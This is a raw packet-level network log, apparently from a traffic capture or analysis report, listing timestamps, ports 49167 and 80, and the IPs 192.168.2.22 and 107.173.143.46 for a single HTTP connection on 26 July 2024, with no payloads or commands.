Jul 26, 2024 09:30:08.484608889 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.484711885 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.484726906 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.484738111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.484749079 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.484761953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.484785080 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.484837055 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.484867096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.484878063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.485058069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.485105038 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.485193014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.485203981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.485240936 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486222029 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486232996 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486243963 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486254930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486264944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486275911 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486284018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486294985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486311913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486315966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486315966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486325026 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486325026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486335993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486339092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486349106 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486360073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486361980 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486371040 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486372948 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486382008 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486391068 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486392975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486398935 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486408949 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486419916 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486421108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486424923 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486432076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486443996 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486443996 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486454964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486466885 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486474991 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486474991 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486478090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486486912 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486493111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486502886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486505985 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486511946 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486515999 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486526966 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486527920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486536980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486541986 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486548901 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486555099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486558914 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486569881 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486582041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486593962 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486598015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486598015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486598015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486608028 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486613035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486619949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486627102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486643076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486654997 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486655951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486655951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486659050 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486669064 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486679077 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486684084 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486690044 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486701012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486707926 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486707926 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486717939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486726999 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486726999 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486728907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486735106 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486741066 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486753941 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486757040 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486768007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486776114 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486776114 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486783028 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486788988 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486793995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486803055 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486813068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486819029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486819029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486828089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486838102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486840963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486846924 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486850023 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486855984 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486857891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486867905 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486877918 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486884117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486890078 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486892939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486903906 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486907959 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486913919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486922026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486924887 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486932993 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486934900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486948013 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486949921 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486958027 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486968040 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486968994 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.486993074 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.486993074 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487000942 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487003088 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487019062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487030029 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487040043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487045050 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487051010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487061977 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487072945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487076044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487076044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487083912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487095118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.487097025 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487112999 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487118006 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487308979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.487323046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570336103 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570353985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570365906 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570377111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570389032 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570393085 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570400000 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570411921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570422888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570425987 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570425987 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570425987 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570434093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570436001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570446968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570452929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570463896 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570466042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570477009 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570481062 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570494890 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570494890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570506096 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570506096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570517063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570521116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570528984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570537090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570539951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570549965 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570550919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570561886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570564032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570574045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570579052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570585012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570594072 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570595980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570606947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570612907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570617914 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570627928 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570627928 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570637941 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570638895 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570648909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570652962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570661068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570667982 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570672989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570679903 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570684910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570694923 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570696115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570704937 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570708036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570710897 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570719004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570729971 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570740938 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570741892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570741892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570741892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570755005 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570765018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570774078 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570774078 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570775986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570785046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570786953 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570797920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570797920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570810080 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570813894 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570821047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570827961 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570832014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570839882 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570842981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570854902 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570856094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570868015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570873022 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570878983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570889950 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570889950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570903063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570914030 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570919037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570919037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570919037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570928097 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570934057 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570945978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570946932 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570957899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570964098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570969105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570976973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570979118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.570987940 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.570996046 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571002007 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571007967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571018934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571026087 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571031094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571038961 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571042061 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571053028 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571053028 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571064949 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571068048 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571077108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571084023 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571088076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571096897 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571099043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571110010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571120977 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571122885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571122885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571139097 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571139097 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571150064 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571154118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571161032 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571168900 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571172953 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571183920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571183920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571194887 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571202993 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571206093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571217060 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571218967 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571228981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571239948 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571240902 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571250916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571257114 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571266890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571268082 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571268082 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571283102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571285009 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571295023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571300030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571306944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571316957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571317911 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571330070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571337938 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571341038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571352959 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571357965 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571366072 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571372032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571377039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571388006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571389914 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571397066 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571407080 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571408987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571423054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571429014 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571434975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571444988 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571444988 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571455956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571463108 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571466923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571479082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571485043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571492910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571500063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571506023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571516991 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571516991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571528912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571536064 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571540117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571551085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571554899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571563005 CEST	80	49167	107.173.143.46	192.168.2.22
